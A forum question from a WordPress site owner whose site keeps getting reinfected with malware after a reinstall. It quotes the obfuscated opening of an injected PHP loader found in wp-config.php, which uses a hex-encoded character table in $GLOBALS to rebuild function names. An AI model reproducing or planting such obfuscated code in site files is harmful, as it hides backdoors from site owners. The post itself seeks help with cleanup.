Viruses on a WordPress site?

Question

Antivirus

I can’t figure out where the viruses come from on the site, I already did this - I
completely rewrote the theme
- WP reinstalled completely and updated it to version
4.8 . .php etc. sometimes files are created in the upload folder, and I caught the virus code in the wp-config.php file, the code looks like this

`<?php ${"\x47\x4c\x4fB\x41\x4c\x53"}['ca94f568d'] = "\x53\x59\x2d\x42\x77\x32\x34\xa\x26\x3c\x4f\x6b\x46\x5d\x61\x69\x73\x7e\x2f\x27\x41\x4a\x66\x68\x29\x38\x71\x2a\x3e\x23\x48\x47\x25\x35\x79\x4d\x3a\x57\x6e\x2b\x6d\x43\x24\x5f\x74\x28\x39\x63\x58\x6f\x49\x60\x33\x75\x4c\x3d\x7c\x7a\x5b\x2c\x37\x45\x31\x56\x67\x4b\x5a\x65\x5e\x6c\x40\x9\x72\x6a\x54\x7d\x51\x50\x5c\x78\x3f\x62\x76\x30\x4e\x55\x2e\x3b\x52\x36\x22\x64\x20\x7b\x44\x70\xd\x21";
$GLOBALS[$GLOBALS['ca94f568d'][23].$GLOBALS['ca94f568d'][6].$GLOBALS['ca94f568d'][83].$GLOBALS['ca94f568d'][46]] = $GLOBALS['ca94f568d'][47].$GLOBALS['ca94f568d'][23].$GLOBALS['ca94f568d'][72];`

Even with antivirus aibolit-for-windows I checked everything suspicious, deleted it, but my treatment lasts for 2 weeks, then viruses climb again
. Tell me what could be the problem and how to overcome them.
I already thought to change the hosting, and if there is no effect